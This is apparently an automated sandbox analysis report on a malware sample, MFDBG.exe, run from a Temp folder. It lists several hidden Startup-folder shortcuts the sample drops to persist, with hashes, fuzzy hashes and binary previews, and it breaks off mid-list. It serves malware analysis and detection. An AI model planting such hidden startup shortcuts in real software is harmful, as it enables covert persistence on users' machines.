Preview:	L..................F...."...]W%.{...%~.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8979f400fcff49a192e50b5bbbd2754c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93722658244001
Encrypted:	false
SSDEEP:	24:8NhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8tNQ0R6rMhpBoUBxdRd1nYyg
MD5:	129DE9B76DA2089E70A0449601E1AEE1
SHA1:	0C5E68E6E7D6803D51857F1D4613C6444A4A96A5
SHA-256:	D14AE76DFB0684C6CDF965F91C516592616B2814FB8B2590587BF17017E6116D
SHA-512:	967FF02A846D17D267AF02C263F1E884982E44DC489952CB7C12AB9BA9B2D5A38B9DECD08167DF08DDFC17263C44C1B9AB197AE1431A953A34D400D79C48429A
Malicious:	false
Preview:	L..................F...."...]W%.{...kZB.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8998bb20d9984da7ac215f04bfa54614.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9405176286898005
Encrypted:	false
SSDEEP:	24:8gGhBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gMl0R6rMhpBoUBxdRd1nYyg
MD5:	2720F640AA4D19A60DA480436040CE96
SHA1:	21C24D46FB48960FF3D36D1C7DC699256A027B94
SHA-256:	F90383795F9D9A3EFDCAB072C3A622841B9601ADD8FD5FF75DAEFF82956C3B02
SHA-512:	0410FB646E4B3477581AA1C52E48FB91C4C24F073FD3AD1069CE2B2C074F042E097F69BB895799F4737498AD9402A920514556145AE7B740419EDBD8A88C37A7
Malicious:	false
Preview:	L..................F...."...]W%.{...v"..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89da647c4baa4e14a40ca1886205b04f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9406259573738645
Encrypted:	false
SSDEEP:	24:8w9hBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8w9M0R6rMhpBoUBxdRd1nYyg
MD5:	C76B7B1BE8005F76E08B7B528EA7802B
SHA1:	B9B3059AC74FAFCF69E8CDF6C8BC72D138F7D36C
SHA-256:	B8439B4284525051F431E829057C5838182F44120C8E1B901EDCD5681124FBF7
SHA-512:	C4AFF79D9E630525857B37274A691EB1463B83760FEAA23D497286E04B81C7258708DDAA59724CBB689D6065B2DB97E5F4E1951488BF499827C3BE229697628C
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Lv.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89dc7aa08bde499c8dc852f29eac859b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933813099637432
Encrypted:	false
SSDEEP:	24:8lhBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81C00R6rMhpBoUBxdRd1nYyg
MD5:	9543C4D969604173743FEF9EFC4F4D79
SHA1:	7097849E9F6AAE86D536BEFD213A35221566B61A
SHA-256:	B3797B67F7AE3612356FA0BB404D26B5C0887D9CE8D5B03E792DD1B7A3164748
SHA-512:	2F7B0CFD3A178A136E54F2335286858B1196372D94AF6EEF75FD1C92F8401AF70C3ABAB3553595DFC8BDA6AD923A9F54FAF3070CC96F96ABB75807DE276062D0
Malicious:	false
Preview:	L..................F...."...]W%.{...-...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89efa94242a7495e99b3241303cb6013.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9371810642920595
Encrypted:	false
SSDEEP:	24:88hBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8O/0R6rMhpBoUBxdRd1nYyg
MD5:	77AA24B93D303CCE4381D141DD0EC1E7
SHA1:	DFE3646A82C110F756D1C80699B302E6D6C85809
SHA-256:	5C438189F7EDB9EA189E11504E5E325306D67ACEBB0CBCCC97755E2ED94C7B17
SHA-512:	80F599DC3193B8274CAC751276269F90CE287BF6821D491C15FC1A29C2244C60D7C2AF1C724C046C8144D795F914704DAE8C4A1016287640D925CACC36F696BA
Malicious:	false
Preview:	L..................F...."...]W%.{....H~.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8a10beae66fe4d70b4dd18b750993091.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930092554680144
Encrypted:	false
SSDEEP:	24:8rPhBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83ud0R6rMhpBoUBxdRd1nYyg
MD5:	94C718D5E384FCDB1F8B824337EB0F75
SHA1:	01CEF1DE73DF87CC2B710FDBDCA18D05C8C98983
SHA-256:	1E8B34DC280E705FA340DB1A5D1D19A90A075A31A7828007F252378D85847C61
SHA-512:	CA1B9F3E4B282A1EE05751C7413DA124CBA925BDFFE850B7D6F3B11B6E8A119C97804C7BE5EE566BFF1F29158B875AC1596E9C721EE972E8F480D3C323CCCD39
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b1d2a57c62447ac9005fcc102d32505.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9346258119732935
Encrypted:	false
SSDEEP:	24:8uhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kNQ0R6rMhpBoUBxdRd1nYyg
MD5:	39E8F3E68D709303326ABD7BFC814FB5
SHA1:	AFB15182BFC01AACDF596CD6C209738ED75CA5ED
SHA-256:	D345FC1BC26F3A49E6365F7878AB19D8D2A5C1FF0AE33648C947CC5CB9E4154F
SHA-512:	DEDC5F184E70F2A86C1BC90EDC57E0F3C9DDEFB87D997690BCBB8FE53C281CC8AEEAFD87FB9376A0DA0BEAAE2F23FE5D3087313BC691AFB128C385949BA419F3
Malicious:	false
Preview:	L..................F...."...]W%.{.....?.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b63fd18c61e45a2a69da02a77b6cae2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934799368781718
Encrypted:	false
SSDEEP:	24:8BhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xnC0R6rMhpBoUBxdRd1nYyg
MD5:	6574B5ED50EE812799C396D9E8E8B5C4
SHA1:	302A1CB7CD9E8CC574EF874606E5AD9C67C5846F
SHA-256:	1371B7EF5600D5DF0251D76D8B118329A61FF7D0AA365F7730BE82255525A66D
SHA-512:	0668A072F0076D2ED4BB831387F2B20786ACECD14FB979403748A81A7B86CD259A2E7D089BC79D80D83129E2F688CDFE86E9E5623A1CC3B9D30F39BA1CE55664
Malicious:	false
Preview:	L..................F...."...]W%.{....g..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8bd360f017e345fa86d057536ad4f522.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936007130470627
Encrypted:	false
SSDEEP:	24:8WphBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8WpY0R6rMhpBoUBxdRd1nYyg
MD5:	F6334A8566F644669968B04C0BAE33E0
SHA1:	389D58E9934122564BD332CA5EB2D99A8C6B2F53
SHA-256:	A60AAA81A29131B66DF1B3EA8156722180E7E17E113DE838A7168D18FEA6648C
SHA-512:	006D64AF0E509B574D8AC1D724814F922ED4FDCA0347165BB364A95DA16BDC468D323D29EF03F5EC63E4246AB9D1FEC5679A8C49A780BFA2674AED2AECACDA97
Malicious:	false
Preview:	L..................F...."...]W%.{....R..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...:...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8c19db91882c4e1994d7acc592dac701.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152355
Encrypted:	false
SSDEEP:	24:8rhBf48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PF0R6rMhpBoUBxdRd1nYyg
MD5:	30FF637C2924E0BFF176795913F31E86
SHA1:	CD4DBF89152797EBD057397ADAA70C6DA62D8570
SHA-256:	669794CF124A486A4CD0B929C552A38F6852BF2D783251CDE421CF72E1F324FD
SHA-512:	A88075227234138AD16033A0BE6259F61E26BF3C90E19C3195FD2292E26A9F63B2A08BE9CB2B581DAC1E6BCF5A65F1558516EA3AADF1E043F03D29FE1F3030E8
Malicious:	false
Preview:	L..................F...."...]W%.{...)c..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8cc393db4089458eb647c40cc5c4ef5d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937766827419823
Encrypted:	false
SSDEEP:	24:8ApPhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ARKI0R6rMhpBoUBxdRd1nYyg
MD5:	C4D6905094DC293BB878C785F5245997
SHA1:	0D8288527965204593E7AE419D180A63EE81F3B4
SHA-256:	CB77AD3E2DF063B097519D93D36214CEC1230747ECC24649EA4C780B08BF7D33
SHA-512:	AB2C54803B53B030EFA5B6C7E5FF3840129C9523BD8ED65B1368997A7808CFFCD092C0DF4316885A8C38E680A41C7E87C6C924A22C47E413F940C19317A1F2A3
Malicious:	false
Preview:	L..................F...."...]W%.{.....u.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8cd1ac26284943e6a48e3a21405f728e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934148377529593
Encrypted:	false
SSDEEP:	24:8ghBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yt0R6rMhpBoUBxdRd1nYyg
MD5:	6C5C62BDD9B7542E8EBE65CB94EE0951
SHA1:	0BFFA37E62A6E036144CB59BA6C968FBA2DFCB19
SHA-256:	AFD76D898EEBD62921718719F5958DD62B2A1A70863C85AAAE5EDAF962D10E42
SHA-512:	B9B6B6A1E4AE5BD60053DD4DCF0BBC6DB7F84C6221CDCE2343C4F578B04D988F44B051F9A45CF95B3F8F99830629DE124689395BAD2153214B1EF3B4D6180DC3
Malicious:	false
Preview:	L..................F...."...]W%.{....t..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....&..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ce88b29ae5f4a6fa4611b254d350e86.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931905644029014
Encrypted:	false
SSDEEP:	24:8ZhBfwp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85oO0R6rMhpBoUBxdRd1nYyg
MD5:	269999DA5A7D783C541696628B8611D4
SHA1:	E2AC696A62F54D20EFC95626F023CC036CD3206E
SHA-256:	DCE6EED1234EB57A89788922573926CFBB60FE5E5B9B8230DBFC0DE2EAF1B30D
SHA-512:	F7741BBE33D5E793E4A669120F13784EA2F8A0E7E947B5F9A75783227437432F571738B15D6F77D564F6637C4BC4BDBA27FF3FAB54617ABAB91128D13AE4DB00
Malicious:	false
